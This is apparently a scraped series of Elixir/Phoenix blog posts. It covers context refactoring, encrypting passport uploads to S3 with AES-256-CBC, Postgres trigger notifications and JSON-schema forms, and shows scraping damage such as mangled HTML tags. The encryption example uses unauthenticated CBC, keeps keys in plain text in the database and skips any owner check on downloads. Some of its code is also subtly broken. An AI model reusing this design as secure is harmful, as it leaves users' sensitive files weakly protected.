This context contains a lot of code that is related to "thing" but is unrelated to each other, so let's break it up.

Repository

The first step is to refactor our CRUD operations using the repository pattern. A Repository concentrates all CRUD operations for one schema or context. Usually, it only queries the database, but we could also add a caching mechanism here. Adding a repository is as simple as moving the CRUD operations to a new module called App.Things.ThingRepo:

defmodule App.Things.ThingRepo do
  @moduledoc "The Repository for Thing"

  use App, :repository # <- You can import Ecto.Query and alias App.Repo in here for easy reuse

  # Example CRUD operations
  def create_thing(attrs), do: # Creates a thing
  def update_thing(thing, attrs), do: # Updates a thing
end

Now, with our CRUD operations out of the way, we can focus on the business logic and complex queries.

Finders

Next, we move our complex queries into dedicated finder modules. We could also move the complex queries to our new repository, but isolating complex and very specific queries into their own modules keeps our repository clean and makes it easier to test them. For each query, we create a new module like this:

defmodule App.Things.Finders.ListThingsThatAreRelevantToCustomerInMonth do
  @moduledoc "The Query for listing all relevant Things for a Customer in a given Month"

  use App, :finder # <- You can import Ecto.Query and alias App.Repo in here for easy reuse

  # Note that all finders have the same public function called "find".
  def find(customer, month) do
    query =
      from(thing in Thing,
        join: # join another thing,
        where: # complex conditions
        select: # custom select statement
      )

    Repo.all(query)
  end
end

Services

As a last step, we need to move our complex business logic into dedicated services. We usually create one service per "use-case". A use-case can be anything that your application user does, like creating or updating things, but it's often better to use "business language" to describe a use-case. So, instead of calling a service CreateThing, we use the user's intent or end goal to describe the use-case. For example, a "thing" might be an order in our e-commerce system, so creating a thing means that a customer purchased a product and we should schedule the product for delivery. So, instead of calling the use-case CreateOrder, we can call it CompleteOrderAndScheduleDelivery.

Our service might look like this:

defmodule App.Things.Services.CompleteOrderAndScheduleDelivery do
  alias App.Things.ThingRepo
  alias App.Things.Services.ScheduleOrderDelivery

  # A Service from another Context
  # You can replace this also with an internal interface
  # as discussed in the next section
  alias App.Notifications.Services.DeliverOrderScheduledEmail

  def call(attrs, user) do
      with {:ok, order} <- ThingRepo.create_order(attrs),
           {:ok, delivery_date} <- ScheduleOrderDelivery.call(order),
           :ok <- DeliverOrderScheduledEmail.call(order, delivery_date) do
      :ok
    end
  end
end

Now, every use-case is encapsulated into a single service and we can easily test, update, and delete each use-case individually.

Context as Internal Interface

The last but optional step is to convert the Phoenix Context into an internal interface for all "thing" related calls. This isn't always necessary, but if you develop a large application with many teams, it might help if every team exposes a single interface through which all other teams can call the team's repositories, services, and finders. If you don't offer such an interface, other teams will call these modules directly. If you don't watch out, your system might become a giant ball of mud where a change to one service breaks ten services from other teams. Even worse, the team who owns that service won't have the domain knowledge of the other teams, so they can't change their own service without collaborating with the other teams.

If you fear that you might run into this situation, you can convert your Phoenix Context into an internal interface. In our situation, such an interface might look like this:

defmodule App.Things do
  @moduledoc "The internal interface for 'Thing'"

  alias App.Things.ThingRepo
  alias App.Things.Services
  alias App.Things.Finders

  # You can make explicit function calls or use defdelegate
  #
  # Note, that if you use defdelegate, you cannot change the
  # parameters of the ThingRepo function without also changing
  # the calling function outside of the Things context.
  def create_thing(attrs), do: ThingRepo.create_thing(attrs)
  defdelegate update_thing(thing, attrs), to: ThingRepo


  # By creating a function for each service or finder
  # you can easily control which services and finders
  # you want to expose to other teams and which ones
  # you rather keep internal.
  #
  # You don't have that control when you don't have such
  # an interface and other teams can simply call your
  # services or finders directly.
  def complete_order_and_schedule_delivery(attrs, user) do
    Services.CompleteOrderAndScheduleDelivery.call(attrs, user)
  end

  # By using an internal interface, you can add multiple
  # functions for calling the same query. That's handy
  # if you want to define default parameters without
  # exposing what the default should be.
  def list_things_that_are_relevant_to_customer_in_month(customer) do
    month = Date.utc_today().month
    list_things_that_are_relevant_to_customer_in_month(customer, month)
  end

  def list_things_that_are_relevant_to_customer_in_month(customer, month) do
    Finders.ListThingsThatAreRelevantToCustomerInMonth.find(customer, month)
  end
end

Conclusion

Please note that the proposed software design for replacing your Phoenix Contexts with services, finders, and repositories might not work for you or your project. My golden rule when it comes to software design is "Keep it super simple (KISS)". So, take what helps and ignore what doesn't as long as you stay vigilant about your code organization.

And that's it! I hope you enjoyed this article! If you have questions or comments, let's discuss them on BlueSky. Follow me on BlueSky or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until the next time! Cheerio 👋

Upload Encrypted Files to S3

2023-05-07T10:00:00Z

Hey folks, welcome back to another blog post! :)

I'm sorry for the delay since my last blog post, but I've been busy with creating my video course Build an MVP with Elixir and speaking at ElixirConf EU in Lisbon.

But now I'm back and will post new blog posts every two weeks again. So, before we dive into today's blog post, first the ceremonial dad joke:

I don't have a dad body.

I have a father figure.

Anyways! This post is about how to encrypt and upload sensitive user files to Amazon's S3, so let's dive right in!

The Problem

When you ask users to upload their files to your service, you will probably store them in a storage service like S3. S3 and others are cheaper alternatives to storing the files in your database. They also make it easier to link and show the files in e.g. your UI.

However, if your users upload sensitive files, it's paramount to store them in a way that no other than yourself and the user can access them. This is where file encryption comes in. So, whenever you save a file in e.g. S3, you only store an encrypted version of the file. This way, neither Amazon nor any attacker who gains access to your S3 bucket can read the files. Sounds great, no?

But how do set up the encryption, decryption, upload, and download functionality in Elixir and Phoenix LiveView? This blog post answers how :)

The Solution

The following demo project is quite extensive, but here's what it does in a nutshell:

For uploading files

The demo project uses a LiveView to allow users to upload their passport as PDF, PNG, or JPG file. After an upload completes, it encrypts the file using the AES256 algorithm with a key that's unique for each user. It then uploads the encrypted file to S3 using the ExAws library.

For downloading files

In the same LiveView, the demo project lists all files of the current user. When a user clicks on a file, the LiveView shows either an img or embed HTML tag based on whether the file is an image or a PDF. The new HTML tag fetches the image from a Phoenix Controller, which returns the decrypted file after downloading it from S3.

Let's write some code!

The Config

We will use the ExAws library to upload and download the files to S3. Therefore, we need to add the following dependencies to our project:

# mix.exs
defp deps do
  [
    {:ex_aws, "~> 2.0"},
    {:ex_aws_s3, "~> 2.0"},
    {:hackney, "~> 1.9"},
    {:sweet_xml, "~> 0.6"}
  ]
end

Next, we need to add the runtime configuration for our S3 Bucket. Here's how:

# runtime.exs
config :ex_aws,
  access_key_id: [System.get_env("AWS_ACCESS_KEY_ID"), :instance_role],
  secret_access_key: [System.get_env("AWS_SECRET_ACCESS_KEY"), :instance_role]

config :demo,
  aws_file_bucket: System.get_env("AWS_FILE_BUCKET"), # <- The name of your bucket
  aws_file_bucket_region: System.get_env("AWS_FILE_BUCKET_REGION") # <- The region of your bucket, e.g. "eu-west-3"

And that's the configuration! If you start your server with iex -S mix phx.server, you should be able to make calls to your S3 bucket using ExAws. You can test this by running:

bucket = Application.get_env(:demo, :aws_file_bucket)
region = Application.get_env(:demo, :aws_file_bucket_region)

ExAws.S3.list_objects(bucket) |> ExAws.request(region: region)

Why Unique Keys

As mentioned before, we want to encrypt every file with an encryption key that is unique per user. You could also encrypt all files with the same encryption key, but then you put all eggs in one basket. If an attacker gains access to your encryption key, they can decrypt and view all user files. That's not ideal.

If we decrypt every file with an encryption key that is unique to a user, an attacker would need to extract all these encryption keys instead of only a single key, which diversifies the risk a bit. There are two other benefits though:

First, we store the encryption keys in our database and never on our servers as e.g. environment variables. So, even if an attacker gains access to our servers, they won't be able to steal these keys since keys are kept only temporarily in the application memory.

Second, if we introduce a bug in our application that allows users to view the files of other users, they won't be able to decrypt them if we always use the current_user for decryption. If we'd encrypt all files with the same key, we wouldn't have this security check because we'd decrypt the file with the same key, regardless of who's the currently logged-in user. But if we use the encryption key of the current user for decrypting the file, the result would be gibberish or worst-case, throw an error.

The only caveat of this implementation is that if we change the owner of a file, we need to download and decrypt the file with the old owner's encryption key, and then encrypt and upload the file again with key of the new owner. That's a bit more hassle than simply updating the file.owner_id field in the database, but it's not that complicated either.

So, given all these benefits of having a unique key per user, let's start implementing it!

The User Schema

First, let's look at the schemas. This is the User-schema:

defmodule Demo.Accounts.User do
  use Ecto.Schema
  import Ecto.Changeset

  schema "users" do
    field :encryption_key, :string
  end

  @doc false
  def changeset(file_user, attrs) do
    file_user
    |> cast(attrs, [:encryption_key])
    |> add_encryption_key()
    |> validate_required([:encryption_key])
  end

  defp add_encryption_key(changeset) do
    case get_field(changeset, :encryption_key) do
      nil ->
        key = GenerateSecureString.call(32)
        put_change(changeset, :encryption_key, key)

      _ ->
        changeset
    end
  end
end

In our simplified User-schema, we only store one field: the encryption_key. We set this key when we create the user using the add_encryption_key/1 helper. If we don't set the encryption key while creating the user, this will generate a new random key of 32 bytes using the GenerateSecureString-helper module. Let's have a look at that next.

Generate Secrets

The GenerateSecureString module only has a single function: call/1. It uses the erlang :crypto-library to generate random bytes of a given number and encodes them to Base64. As a rule of thumb, you never want to store bytes directly into the database, but always want to encode them first using e.g. Base64. If not, you might lose some bytes during the transfer.

defmodule Demo.GenerateSecureString do
  def call(size) do
    size
    |> :crypto.strong_rand_bytes()
    |> Base.encode64()
  end
end

The File Schema

For every uploaded file, we create a File-schema in our database. This is it:

defmodule Demo.Files.File do
  use Ecto.Schema
  import Ecto.Changeset

  schema "files" do
    field(:slug, Ecto.UUID, autogenerate: true)
    field(:encryption_iv, :string)
    field(:resource_path, :string)
    field(:filename, :string)
    field(:content_type, Ecto.Enum, values: [:pdf, :jpeg, :png])

    belongs_to(:owner, Demo.Accounts.User)

    timestamps()
  end

  def changeset(file, attrs) do
    file
    |> cast(attrs, [:owner_id, :encryption_iv, :filename, :resource_path, :content_type])
    |> validate_required([:owner_id, :encryption_iv, :filename, :resource_path, :content_type])
  end
end

In the File-schema, we generate a unique slug that allows us to fetch the file through our controller using an HTTP request like GET /files/#{file.slug}. We also store the encryption salt or encryption_iv. Next, we store the resource_path. That's the path in our S3 bucket to the file, e.g. /files/another-random-slug. We need this path for downloading the file using ExAws.S3.get_object/3. We also store the filename and content_type. This makes it easier to display the file in our UI as either image or embedded PDF. Lastly, we store the relationship of the file to the User-schema as owner_id here. This allows us to use the encryption key of the user for decrypting the file.

And that's it regarding the schemas! Next, we'll look at the LiveView and the encryption and decryption services.

The LiveView

Our LiveView does a lot in this demo project. It allows the user to upload a passport file as PDF, PNG, or JPG. It displays all files of the user, and it embeds either an or an element for displaying the files. Have a look at the complete code below and then we'll discuss it afterward:

defmodule DemoWeb.UploadLive do
  use DemoWeb, :live_view

  alias Demo.Files.EncryptAndUploadFile

  @impl true
  def render(assigns) do
    ~H"""
    <div>
      <h1>Uploadh1>
      <form id="upload-form" phx-submit="save" phx-change="validate">
        <.live_file_input upload={@uploads.passport} />
        <button type="submit" phx-disable-with="Uploading...">Upload Passportbutton>
      form>

      <ul>
        <li :for={file <- @files} id={"file-#{file.id}"} phx-click="show" phx-value-file_id={file.id}>
          <%= file.filename %>
        li>
      ul>

      <%= if @current_file && @current_file.content_type in [:jpeg, :png] do %>
        <img src={~p"/files/#{@current_file.slug}"} />
      <% end %>

      <%= if @current_file && @current_file.content_type in [:pdf] do %>
        <embed src={~p"/files/#{@current_file.slug}"} type="application/pdf" width="400" height="800" />
      <% end %>
    div>
    """
  end

  on_mount({DemoWeb.UserAuth, :mount_current_user})

  def mount(_params, _session, socket) do
    socket =
      socket
      |> assign_files()
      |> assign(:current_file, nil)
      |> allow_upload(:passport, accept: ~w(.pdf .jpg .jpeg .png))

    {:ok, socket}
  end

  def handle_event("validate", _params, socket), do: {:noreply, socket}

  def handle_event("save", _params, socket) do
    current_user = socket.assigns.current_user

    result =
      consume_uploaded_entries(socket, :passport, fn %{path: path}, entry ->
        content = File.read!(path)
        filename = entry.client_name
        content_type = parse_content_type(entry)
        result = EncryptAndUploadFile.call(current_user, content, filename, content_type)

        case result do
          {:ok, _file} -> {:ok, :ok}
          _error -> {:postpone, {:error, error}}
        end
      end)

    case result do
      {:error, _error} -> {:noreply, put_flash(socket, :error, "Upload failed. Please try again.")}
      :ok -> {:noreply, socket |> assign_files() |> put_flash(:info, "Upload successful!")}
    end
  end

  defp parse_content_type(entry) do
    case entry.client_type do
      "image/png" -> :png
      "image/jpeg" -> :jpeg
      "application/pdf" -> :pdf
    end
  end

  defp assign_files(socket) do
    files = Files.list_files_for_user(socket.assigns.current_user)
    assign(socket, :files, files)
  end
end

Let's go through this code from top to bottom. First, we create our heex template that shows a small form that accepts a live_file_upload input called :passport. Next, it lists all files of the currently logged-in user and if the user clicks on one of these files, it sends show event to the LiveView. Lastly, it embeds either an image or an embed element, which receives the URL path to the currently selected file through the src attribute.

You might wonder why we don't embed the file directly from the LiveView by assigning its data Base64 encoded to an image HTML element. Although this approach works for images, it doesn't work (well) for PDFs. It's easier to let the HTML element make the HTTP request and render the returned value.

After the render/1 function, we have the usual mount/3 callback followed by the handle_event("validate", _params, socket) function. These functions are necessary for displaying the form and the files, but not that interesting. Let's move on.

The juicy stuff begins in the event handler of the save event. Here, we consume the uploaded file and pass it on to the EncryptAndUploadFile service. In the consume_uploaded_entries function, we first read the file content from the temporary file that Phoenix created for us. We parse the content type from the defined types like application/pdf to something that makes it easier to work with in Elixir like the atom :pdf. You don't necessarily need to do this, but it makes it easier to check the type of a file in your UI.

We'll get to the EncryptAndUploadFile service later, but based on its result, we either return :ok or {:error, error} from the consume function and put a success or error flash on our socket which will show a notification toast in our UI.

Okay, this LiveView is quite complex, so I'd advise you to copy&paste it into your own application and to play around with it.

Now, let's move on the controller that downloads, decrypts, and returns the files when the or elements request it.

The Controller

defmodule DemoWeb.FileController do
  use DemoWeb, :controller

  alias Demo.Files
  alias Demo.Files.DownloadEncryptedFile

  def show(conn, %{"slug" => slug}) do
    current_user = conn.assigns.current_user
    file = Files.get_file_by_slug!(slug)

    {:ok, raw_content} = DownloadEncryptedFile.call(current_user, file)

    conn
    |> put_resp_header("content-type", convert_content_type(file))
    |> send_resp(200, raw_content)
  end

  defp convert_content_type(file) do
    case file.content_type do
      :pdf -> "application/pdf"
      :jpeg -> "image/jpeg"
      :png -> "image/png"
    end
  end
end

The controller isn't horribly complicated, but simply fetches a file from the database by the given slug, hands over the file to the DownloadEncryptedFile service, which we'll get into later, and returns the decrypted file together with its content type as response header.

Moving on the last piece of the (web) puzzle, the Routes.

The Router

# router.ex
  live("/upload", UploadLive)
  get("/files/:slug", FileController, :show)

Add these two routes to your router.ex and you should be able to upload and view your files.

Now, let's move on to the really interesting bits: The encryption and decryption services.

Encrypt and Upload Files

Our EncryptAndUploadFile service takes care of creating a file schema, encrypting its contents, and uploading them to S3. Have a look at the code first. We'll discuss it below:

defmodule Demo.Files.EncryptAndUploadFile do
  alias Demo.Files
  alias Demo.Files.GenerateSecureString
  alias Demo.Repo

  @iv_size 16

  def call(current_user, byte_content, filename, content_type) do
    key = current_user.encryption_key
    iv = GenerateSecureString.call(@iv_size)
    resource_path = "/files/#{Ecto.UUID.generate()}"

    Repo.transact(fn ->
      with {:ok, file} <- create_file(current_user, resource_path, filename, content_type, iv),
           encrypted_content <- encrypt(byte_content, key, iv),
           {:ok, _result} <- upload(file, encrypted_content) do
        {:ok, file}
      end
    end)
  end

  defp create_file(current_user, resource_path, filename, content_type, iv) do
    Files.create_file(%{
      owner_id: current_user.id,
      resource_path: resource_path,
      filename: filename,
      content_type: content_type,
      encryption_iv: iv
    })
  end

  defp encrypt(content, key, iv) do
    key = Base.decode64!(key)
    iv = Base.decode64!(iv)
    content = content |> Base.encode64() |> pad()

    :aes_256_cbc
    |> :crypto.crypto_one_time(key, iv, content, true)
    |> Base.encode64()
  end

  defp upload(file, encrypted_content) do
    get_bucket()
    |> ExAws.S3.put_object(file.resource_path, encrypted_content)
    |> ExAws.request(region: get_region())
  end

  defp pad(data, block_size \\ 16) do
    to_add = block_size - rem(byte_size(data), block_size)
    data <> String.duplicate(<<to_add>>, to_add)
  end

  defp get_bucket(), do: Application.get_env(:demo, :aws_file_bucket)
  defp get_region(), do: Application.get_env(:demo, :aws_file_bucket_region)
end

Now, let's go through the code from top to bottom. In the call/4 function, we first assemble all necessary fields to create a File-schema. We generate a new encryption salt and a random resource_path. Note that the slug used in the resource_path isn't the same as the file.slug. This is a choice that I've made here deliberately. Imagine that an attacker gains access to your S3 bucket filenames. They might use the slug in the filename to try to fetch the files from the GET /files/{file_slug} route. If we use the same slug for the resource path and the file.slug field, they might succeed. But, if we have two different slugs, their requests to this route will return 404. So, yet another layer of security.

Now, with these variables, we first create a new File-record, encrypt its contents, and upload them to S3. The interesting part here is the encryption, so let's look at that in more detail.

The encrypt/3 function first decodes the encryption key and salt from their Base64 encoding. Remember that we store these fields always as base64 to prevent byte loss. That's why we also encode the raw byte content to base64 first so that S3 doesn't lose any bytes either. After that, we add some padding to the encoded content. The padding is necessary, because our encryption algorithm needs an input that is divisible by its block size of 16 bytes. If we have content that isn't divisible by 16, our encryption and decryption might fail and our data is lost.

In our case, we always add padding. Even if the content is exactly a multiple of 16, we still add another block of padding of 16 bytes. Otherwise, it would be hard to figure out whether our last byte is the amount of padding we added, or belongs to the actual data.

After we padded the data, we encrypt it using the :crypto.crypto_one_time/5 function, which is the replacement for the old block_encrypt/3 function. We encode the result to Base64 again to store it on S3. The true parameter means that we're encrypting and not decrypting (which would be false). The rest is pretty straightforward. We use ExAws.S3 to upload the file to its resource_path and finally return {:ok, file}.

Now, you might have noticed the unusual Repo.transact/2 function, which wraps the creation of the File-record and the uploading of the file to S3. This function is a handy wrapper which Tom Konidas wrote about here. It's a neat helper function around Repo.transction/1 that handles the return for us. It looks like this:

Repo.transact/2

# Taken from https://tomkonidas.com/repo-transact/
defmodule Demo.Repo
  def transact(fun, opts \\ []) do
    transaction(
      fn ->
        case fun.() do
          {:ok, value} -> value
          :ok -> :transaction_commited
          {:error, reason} -> rollback(reason)
          :error -> rollback(:transaction_rollback_error)
        end
      end,
      opts
    )
  end
end

And that's it! Now you know how to encrypt and upload files to S3. Now, let's look at the downloading and decryption part.

Download Files

Our DownloadEncryptedFile service downloads the file using its resource_path and decrypts it. Here's how:

defmodule Demo.Files.DownloadEncryptedFile do
  def call(current_user, file) do
    with {:ok, encrypted_content} <- download(file),
         {:ok, content} <- decrypt(file, encrypted_content, current_user) do
      {:ok, content}
    end
  end

  defp download(file) do
    get_bucket()
    |> ExAws.S3.get_object(file.resource_path)
    |> ExAws.request(region: get_region())
    |> case do
      {:ok, %{body: body}} -> {:ok, body}
      error -> error
    end
  end

  defp decrypt(file, encrypted_content, current_user) do
    key = Base.decode64!(current_user.encryption_key)
    iv = Base.decode64!(file.encryption_iv)
    encrypted_content = Base.decode64!(encrypted_content)

    :aes_256_cbc
    |> :crypto.crypto_one_time(key, iv, encrypted_content, false)
    |> unpad()
    |> Base.decode64()
  end

  def unpad(data) do
    to_remove = :binary.last(data)
    :binary.part(data, 0, byte_size(data) - to_remove)
  end

  defp get_bucket(), do: Application.get_env(:demo, :aws_file_bucket)
  defp get_region(), do: Application.get_env(:demo, :aws_file_bucket_region)
end

The service first downloads the file from its file.resource_path and then decrypts it. The decryption looks very similar to the encryption, but in reverse and with a false-flag in the :crypto.crypto_one_time/5 function for decryption. If you look at the unpad/1 function, you see how we remove the last bytes that we used for padding during the encryption.

The service returns raw bytes, which we can then return from our Phoenix Controller and show in our or elements.

Demo Time!

And that's it! If you put all these pieces together, you'll get a working demo for encrypting and uploading, and downloading and decrypting of user files to S3.

Conclusion

Announcing my new Video Course!

2023-04-28T10:00:00Z

Hey folks! I've got an exciting announcement to make!

I've just launched my very first video course titled Build an MVP with Elixir! Whether you're a newbie developer or a seasoned pro looking to get into Elixir, this course will teach you how to get started!

The course shows you how to quickly develop and deploy a product using Elixir and Phoenix LiveView. It takes a learning-by-doing approach to giving you all you need to know to build your own product or to hit the ground running if you just switched to Elixir.

In the course, we will create the blogcash.app demo product, a blogging platform that allows authors to sell individual articles to their readers. It includes setting up user authentication, payment processing with LemonSqueezy, adding a custom domain, a mailing service, and much more.

In general, you will learn about these main topics:

Setting up your local development environment 🛠️
Crafting a Phoenix application 🌐
Deploying your masterpiece to Fly.io 🚀
A hands-on introduction to Phoenix and Phoenix LiveView 📚

You can check out the course and its complete table of contents on Gumroad. See you there! :)

Listen to Database Changes with Postgres Triggers and Elixir

2023-02-12T10:00:00Z

Welcome back to another blog post :) Before we begin, one question:

Why do cows have hooves instead of feet?

Because they lactose!

Alright, now let's dive into today's topic: How to listen to database changes using Postgres triggers and Elixir

Why listen at all?

In almost all codebases, you have subsequent processes depending on previous processes. Imagine a sign-up flow for new users. After a user signs up, you might want to start sending marketing emails periodically. This is called a downstream process. The sign-up to the marketing emails depends on the user's registration. When your software is still simple enough, you usually get away with calling these processes in sequence. Your code might look something like this:

def register_user(params) do
  with {:ok, user} <- Repo.create_user(params),
       :ok <- sign_up_for_marketing_emails(user) do
    :ok
  end
end

In this simple case, you only have one downstream process: the sign-up for the marketing emails. But what if your software becomes more complex and you add more and more such downstream processes? Your register_user/1 function will grow and grow. Maybe your company grows as well and adds more dev teams. That's great, but now you have more teams adding their own downstream calls to register_user/1, making them all dependent on each other.

Imagine that one of the many calls fails. Usually, the entire user registration will roll back, undoing the changes in every team that placed their downstream call before the failed one. In the worst case, you might have an incomplete registration, where some calls succeed and others fail and you didn't roll back properly. Now, the teams with failed calls need to somehow fetch the missing user data and reconcile it with everything that might have happened after the registration. It's simply a mess.

A frequent solution to untangle these dependencies is to implement an event system. Phoenix.PubSub is such a system for example. Event systems have many advantages (and disadvantages), but in this case, they help us to reverse the code dependency between upstream and downstream processes. Without an event system, register_user/1 has to call sign_up_for_marketing_emails/1 directly. register_user/1 is aware of the downstream process and it needs to change if the downstream process changes, for example when we need to provide more info, like which marketing emails the user subscribed to and which ones they didn't. Our upstream code, register_user/1, depends on the downstream process, sign_up_for_marketing_emails/1.

Now, with an event system, we can reverse that dependency. Our register_user/1 call could simply broadcast an event using PubSub.broadcast/4. Our downstream process can then subscribe and react to the events. Now, our upstream code is unaware of the downstream process. It doesn't care whether it succeeds or fails or if it changes. Instead, the downstream code now depends on register_user/1 to publish the necessary data. That's it. If we want to change the marketing email sign-up, we simply handle the received data differently in sign_up_for_marketing_emails/1. No need to change register_user/1. Perfect!

How to listen?

I mentioned Phoenix.PubSub before and if I'm implementing an Elixir application, that would be my go-to event system if I need to send and react to basic notifications. If I need more advanced systems, Kafka, RabbitMQ, or Amazon's SQS would come to mind. But there's another, low-effort solution that you probably already have in your tech stack: Postgres.

Postgres offers quick and simple Notifications that can help you react to changes in your database without much overhead. They are particularly interesting if you can't use Phoenix's PubSub, for example, if another non-Elixir application also makes changes to your database.

Let's see how you can set up Postgres notifications in your Phoenix app.

The Migration

The first step is to add the notifications using Postgres SQL. The migration below adds a trigger to a table called appointments that sends a notification whenever an appointment is canceled or uncanceled. Let's have a look:

defmodule Demo.Repo.Migrations.AddAppointmentCanceledTrigger do
  use Ecto.Migration

  def up do
    execute """
    CREATE OR REPLACE FUNCTION notify_canceled_changed()
      RETURNS trigger AS $trigger$
      DECLARE
        payload TEXT;
      BEGIN
        IF (TG_OP = 'UPDATE') AND (OLD.canceled != NEW.canceled) THEN
          payload := json_build_object('id',OLD.id,'old',row_to_json(OLD),'new',row_to_json(NEW));
          PERFORM pg_notify('appointments_canceled_changed', payload);
        END IF;

        RETURN NEW;
      END;
      $trigger$ LANGUAGE plpgsql;
    """

    execute """
    CREATE TRIGGER appointments_canceled_changed_trigger
      AFTER UPDATE ON appointments FOR EACH ROW
      WHEN ( OLD.canceled IS DISTINCT FROM NEW.canceled )
      EXECUTE PROCEDURE notify_canceled_changed();
    """
  end

  def down do
    execute """
    DROP TRIGGER appointments_canceled_changed_trigger ON appointments;
    """

    execute """
    DROP FUNCTION notify_canceled_changed();
    """
  end
end

That's a lot of SQL, but in short, the migration first adds a function called notify_canceled_changed() which sends a notification to the channel appoiments_canceled_changed with the id of the appointment and the before and after state of the appointment encoded as JSON. We add the function as a trigger to the appointments table using CREATE TRIGGER .... The function is only executed if the appointment is updated, so not inserted or deleted, and only if the appointment.canceled boolean field has changed.

In our notify_canceled_changed function, we double-check these validations as a precaution (i.e. the record is updated and canceled has changed). We wouldn't need to though since Postgres will execute this function only if these requirements are met. But it never hurts to double-check!

You might have noticed that we don't use an EVENT TRIGGER here. The difference between a TRIGGER and an EVENT TRIGGER is that the latter handles database-wide events (e.g. CREATE TABLE) whereas the former handles events specific to a given table (e.g. INSERT|UPDATE|READ|DELETE| row). We are only interested in changes to the appointments table which is why we use a simple TRIGGER.

Another detail you might have spotted is that we execute the trigger after a row was updated with AFTER UPDATE ON. For our use-case, the distinction between BEFORE and AFTER update doesn't matter, but if you wanted to change the new data before it is written to the row, you would need to use the BEFORE UPDATE statement. Read this for more details on the difference between the two.

If you want more examples of triggers, here are some.

Now with the migration in place, run mix ecto.migrate to add the function and trigger to your database. However, if you run your application now and update an appointment, you won't see anything. That's because we're not yet listening to such events from our Elixir application. Let's change that.

The Listener

We will use the Postgrex.Notifications module to listen to and handle messages from Postgres. Here's our listener:

defmodule Demo.DatabaseListener do
  use GenServer

  @channel "appointments_canceled_changed"

  def start_link(init_args) do
    GenServer.start_link(__MODULE__, [init_args], name: __MODULE__)
  end

  def init(_args) do
    repo_config = Demo.Repo.config()

    {:ok, pid} = Postgrex.Notifications.start_link(repo_config)
    {:ok, ref} = Postgrex.Notifications.listen(pid, @channel)

    {:ok, {pid, ref}}
  end

  def handle_info({:notification, _pid, _ref, @channel, payload}, state) do
    payload = Jason.decode!(payload)
    IO.puts("Received a notification for appointment #{payload["id"]}")
    IO.puts(payload)

    {:noreply, state}
  end
end

We created a GenServer for our listener with its own message queue to handle incoming Postgres messages. Be aware that this listener can easily become a bottleneck if you have lots of messages. If you can't handle the messages quickly enough, the message queue will fill up and crash your application. If you're worried about this case, you could create one listener per channel or use a PartitionSupervisor to start more handlers and spread out the work.

Our listener is pretty straightforward. First, we spawn another process that connects to Postgres using our Repo config. Then, we start listening to that process which means that we'll receive any Postgres messages it might catch. Whenever a notification comes in, our handle_info/2 callback will handle it. In this case, we simply decode its JSON payload and log it to the console.

The last step is to start our listener whenever our application starts. Open your lib/application.ex and add the listener to the supervisor's children, like this:

# lib/application.ex
def start(_type, _args) do
  children = [
    # Other modules
    Demo.Repo,
    # Make sure to start the listener AFTER your Repo.
    # Otherwise, your listener won't connect.
    Demo.DatabaseListener
  ]

  opts = [strategy: :one_for_one, name: Demo.Supervisor]
  Supervisor.start_link(children, opts)
end

And that's it! Now, whenever we start our application, we establish a link to Postgres and listen to messages on the given channel. If such a message comes in, our handle_info/2 will log it. Let's try it out!

The Test

Now with everything in place, we can test-run the setup. Let's create and update an appointment:

iex> {:ok, a} = Demo.Appointments.create_appointment(%{canceled: false})
{:ok, %Appointment{...}}
iex> {:ok, a} = Demo.Appointments.update_appointment(a, %{canceled: true})
{:ok, %Appointment{...}}
"Received a notification for appointment 1"
%{
  "id" => 1,
  "old" => %{
    "id" => 1,
    "canceled" => false,
    "inserted_at" => "2023-02-11T17:36:56",
    "updated_at" => "2023-02-11T17:37:03"
  },
  "new" => %{
    "id" => 1,
    "canceled" => true,
    "inserted_at" => "2023-02-11T17:36:56",
    "updated_at" => "2023-02-11T17:44:48"
  }
}

After updating the canceled-flag of our appointment, we received a message from Postgres! It works! Yey!

Conclusion

Build dynamic Forms with JSON Schemas

2023-01-08T10:00:00Z

Hey folks, before we begin:

Where do dads store their jokes?

In the dad-a-base

Alright 😄 Let's get started with today's topic: How to build dynamic forms with JSON schemas

Why JSON Schemas

As I wrote in my book, probably 50% of a software engineer's time is spent building tables. The other 50% is spent on building forms. This article covers how to build forms faster.

Imagine that you have to build a signup form. Usually, you only need a username and password field. But what if that signup form needs to be different for every country in which your company operates? You might need to capture country-specific personal details, like a social security number or national insurance number.

In this case, you probably don't want to create and maintain every form by hand. Instead, wouldn't it be nice to have a simple file where you could specify the fields needed per country? A file that your frontend simply takes and renders?

That's exactly where JSON Schemas come in. You can define your fields as JSON, render them as an HTML form, and automatically validate user responses. Let's see how to use them with Phoenix LiveView.

Add a JSON Renderer

Before we define our JSON Schema, let's add a library that renders our form as HTML. There are plenty out there. I'll use the JSONEditor, not because it's the best (it isn't), but because it's written in vanilla JS and doesn't require a frontend framework like React.

Simply copy the production version and paste it into a file at assets/vendor/jsoneditor.js. That's it!

Now, let's add some HTML and JS code to render our form. Create a .heex template that renders only the form:

<div>
  <div id="json-schema-form" phx-hook="JSONSchemaForm" />
  <button
    id="json-schema-form-submit"
    type="submit"
  >
    Save
  button>
div>

The HTML template defines a placeholder div #json-schema-form which we'll use to render the form. It also defines a button to submit the form. We'll capture the form submission in JavaScript before sending it off to LiveView, so we don't use a Phoenix Form here. If you're worried about CSRF attacks on this form, don't fear because we'll submit the form through our LiveView Websocket which protects against such attacks automatically. Even LiveView doesn't render CSRF tokens for LiveView-only forms anymore, but only for forms that submit over HTTP.

Now that we've defined our HTML template, let's add some JavaScript to create our form. Add the following to e.g. assets/js/hooks/json_schema_form.js:

import { JSONEditor } from "../../vendor/jsoneditor";
JSONEditor.defaults.options.theme = "tailwind";

export default {
  mounted() {
    this.pushEvent("load-schema", { code: "GER" }, (reply, ref) => {
      const editor = new JSONEditor(this.el, {
        schema: reply.schema,
        disable_collapse: true,
        disable_edit_json: true,
        disable_properties: true,
        no_additional_properties: true,
      });

      document
        .getElementById("json-schema-form-submit")
        .addEventListener("click", () => {
          const errors = editor.validate();
          if (errors.length) {
            editor.setOption("show_errors", "always");
          } else {
            editor.setOption("show_errors", "interaction");
            this.pushEvent("submit", editor.getValue());
          }
        });
    });
  },
};

The JS code above defines a Phoenix Hook that creates a new JSONEditor instance for building and validating our form. Once the hook mounts, it first fetches the form schema for Germany, which we hard-coded for now, and waits for a reply (Thank you to my dear colleague Svilen who explained the pushEvent -> reply mechanism on StackOverflow). When the reply arrives, the hook creates a new JSONEditor instance that renders the schema in the placeholder div on which we set the phx-hook=JSONSchemaForm hook.

